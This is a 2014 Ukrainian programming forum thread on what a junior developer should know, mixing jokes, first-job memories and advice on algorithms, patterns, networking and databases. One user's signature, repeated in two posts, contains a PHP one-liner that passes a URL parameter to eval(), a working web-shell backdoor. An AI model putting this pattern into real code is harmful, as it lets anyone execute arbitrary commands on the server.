1

Тема: Junior developer

Більшість програмістів починає шукати роботу з рівня junior developer.
Якими навиками має володіти програміст-початківець? Що варто вивчити, повторити з університетського курсу?

2 Востаннє редагувалося FakiNyan (04.12.2014 11:39:18)

Re: Junior developer

усілякі алгоритми і відмінність інтерфейсу від абстрактного класу, ліл
upd: ну і ще якісь патерни, типу фабрика фабрик фабрик фабрик

Говоріть українською! Живіть українською! Відчувайте українською!

3

Re: Junior developer

Треба знати з ким переспать щоб взяли на роботу.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: Regen1

4 Востаннє редагувалося 0xDADA11C7 (04.12.2014 14:23:22)

Re: Junior developer

Invader написав:

Треба знати з ким переспать щоб взяли на роботу.

Який цікавий досвід сходження соціальною драбиною ви маєте.

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»
Подякували: quez1

5

Re: Junior developer

Invader написав:

Треба знати з ким переспать щоб взяли на роботу.

А якщо я негарна дівчина чи взагалі хлопець то шо робити?

6

Re: Junior developer

А якщо я негарна дівчина чи взагалі хлопець то шо робити?

згадую анекдот:
- Вась, а як не піти в армію служити ?
- Женись на дочні воєнкома
- А якшо в нього хлопець, а не дівчина ?
- Якшо ти такий принципіальний то йди служити в армію
:D

- Поганому трояну фаєрвол заважає
- Ніколи не програмуйте та не пийте пиво
Якщо ви з першого разу написали програму, в якій немає жодної помилки, повідомте про це системного програмісту: він виправить помилки в компіляторі

7

Re: Junior developer

Singularity написав:
Invader написав:

Треба знати з ким переспать щоб взяли на роботу.

А якщо я негарна дівчина чи взагалі хлопець то шо робити?

Можна спробувати переспати з дівчиною-ейчаром, щоб вона завернула на стадії резюме всіх кандидатів, які можуть скласти тобі конкуренцію. Таким чином, курси пікапу для майбутнього джуніор девелопера (особливо якщо він — негарна дівчина) — річ необхідна. Також варто освоїти якийсь із видів рукопашного бою, щоб інші можливі конкуренти, які обрали цю ж стратегію, не наближались до твоєї дівчини :)

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊

8

Re: Junior developer

Співбесіду, як правило, проводять жінки тож тут проблем особливих не має бути. А далі буде видно. А якщо ви дівчина (анвіть негарна), то проблем взагалі немає

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

9

Re: Junior developer

Трохи відійдемо від срачу і поговоримо серйозно.

Можливо хтось з вас бачив, я на форумі розмістив вакансію на junior php developer
Отже як я бачу джуна:
1. адекватний. може пояснити свою точку зору, навіть якщо вона не вірна
2. визнавати свої помилки
3. знати основи тієї чи іншої мови
4. дати задачу для того що б можна було зрозуміти чи він дійсно розбирається в даній темі чи просто вміє красиво говорити.

3 і 4 пункт залежить від мови програмування :)

10 Востаннє редагувалося tim (04.12.2014 22:58:05)

Re: Junior developer

Згадав свою першу роботу.
На м.Либідська є УкрІНТЕІ. Знаходиться інститут у приміщенні, яке має характерну особливість - "тарілку".
Прибульців в "тарілці" не виявилось, але є ІАЦ. В якому можна знайти роботу для майбутніх програмістів.
Там я вперше познайомився з промисловими базами даних - Cache. Програмісти створювали бази для зберігання наукової інформації. Комп’ютери після факультетських EC-1841
http://www.retro-pc.net/musei/comp/ec1841/es1.jpg

Компьютеры серии ЕС-184х производили в Минске (Белоруссия) начиная с 1986-го года. Данный компьютер является полностью программно совместимым клоном компьютера IBM XT, а вот физически все шины и разъёмы у них не совместимы. Компьютер собран на аналоге 8086 процессора Intel - процессоре КР1810ВМ86, частота 4,77 МГц. Объём оперативной памяти компьютера - 640 килобайт, объём жёсткого диска - 20 мегабайт, также присутствуют два дисковода 5,25 дюйма по 360 килобайт каждый, монитор монохромный "Электроника", видеокарта типа CGA. Компьютер конструктивно состоит из двух блоков, это основной блок и блок с дисководами и жёстким диском. Каждый блок отдельно оснащён своим блоком питания, но в общем компьютер потребляет не более 250 ватт электроэнергии.

http://www.retro-pc.net/musei/comp/ec1841/index_ru.htm
були потужними і сучасними х486, Pentium 120 і 133, P-166MMX 16-32Mb RAM.
Сервером робочої групи був "tower" з P-II 233 64Mb.
Всі комп’ютери були з’єднані у локальну мережу коаксіальним кабелем, тож студенти вечорами, коли керівництво йшло з роботи, рубались у Quake II :)
Моїм завданням було написання форм інтерфейсу на Delphi для бази книг бібліотеки ім. Вернадського.
Нажаль через свій характер та несприйняття жінок-керівників, критики я покинув проект і роботу...

Подякували: Blast1

11

Re: Junior developer

tim написав:

Згадав свою першу роботу.
На м.Либідська є УкрІНТЕІ. Знаходиться інститут у приміщенні, яке має характерну особливість - "тарілку".
Прибульців в "тарілці" не виявилось, але є ІАЦ. В якому можна знайти роботу для майбутніх програмістів.
Там я вперше познайомився з промисловими базами даних - Cache. Програмісти створювали бази для зберігання наукової інформації. Комп’ютери після факультетських EC-1841
http://www.retro-pc.net/musei/comp/ec1841/es1.jpg

Компьютеры серии ЕС-184х производили в Минске (Белоруссия) начиная с 1986-го года. Данный компьютер является полностью программно совместимым клоном компьютера IBM XT, а вот физически все шины и разъёмы у них не совместимы. Компьютер собран на аналоге 8086 процессора Intel - процессоре КР1810ВМ86, частота 4,77 МГц. Объём оперативной памяти компьютера - 640 килобайт, объём жёсткого диска - 20 мегабайт, также присутствуют два дисковода 5,25 дюйма по 360 килобайт каждый, монитор монохромный "Электроника", видеокарта типа CGA. Компьютер конструктивно состоит из двух блоков, это основной блок и блок с дисководами и жёстким диском. Каждый блок отдельно оснащён своим блоком питания, но в общем компьютер потребляет не более 250 ватт электроэнергии.

http://www.retro-pc.net/musei/comp/ec1841/index_ru.htm
були потужними і сучасними х486, Pentium 120 і 133, P-166MMX 16-32Mb RAM.
Сервером робочої групи був "tower" з P-II 233 64Mb.
Всі комп’ютери були з’єднані у локальну мережу коаксіальним кабелем, тож студенти вечорами, коли керівництво йшло з роботи, рубались у Quake II :)
Моїм завданням було написання форм інтерфейсу на Delphi для бази книг бібліотеки ім. Вернадського.
Нажаль через свій характер та несприйняття жінок-керівників, критики я покинув проект і роботу...

Доволі цікавий пост . Раніше створював топік з темою яка була ваша перша робота ,та нажаль ніхто не відписувався.

Junior Django Developer

12

Re: Junior developer

Щодо мене, то в 2004 році створив свій перший власний сайт на базовому PHP+MySQL, вже труди вів до показу переліку товарів з перспективою заготовок на магазин (без CMS), та перелік головних сторінок і новин. Якісь власні фільтри форм на Java, без фреймворків на ті ж форми (того часу).

Треба було йти до одної фірми і не розмінюватись на вже існуючу роботу.

Так і недовчився програмуванню як хотілося б  *SCRATCH* ) ,  з усіякими патернами , ООП, CMS стикнувся тільки тепер! а це ж треба якось вміти читати код інших програмерів за ціма новими стандартами.... *CRAZY*

І на яку б студентську ЗП мене би взяли тепер? якщо знаю базиси, практику, але повільно роблю чи за стандартом БЕЙСІК программування)) Голова світла. JAVA, CANVAS, PHP, SQL до діла доводять, але ж на якому рівні? і швидкості. навіть не знаю з ким рівнятись.  :o

Стосовно Junior developer одного місяця вистачило у 2013 році (до Майдану), щоб навчитись додатковим вмінням (пару дрібничок тобто ООП PHP та власна приклад-програма на Canvas), і більше не оновлював запити.
Думаю, .. раз жодного діалогу, значить треба багато напрацьовувати знань/практики/швидкості (тобто більше інструментарію, щоб полегшував виконання задач).

13

Re: Junior developer

По-перше, це знання стандартних алгоритмів - пошук, сортування і т.п. (чимбільше, тимкраще). Непогано було б знати паттерни дизайну та программування. По-друге - як працює мережа, сокети, Інтернет і т.п. - зара без цього фактично нікуди. По-третє - регулярні вирази, бази даних. Ну, якось так...

Мій блог про ОС сімейства *nix - http://nixtravelling.blogspot.com/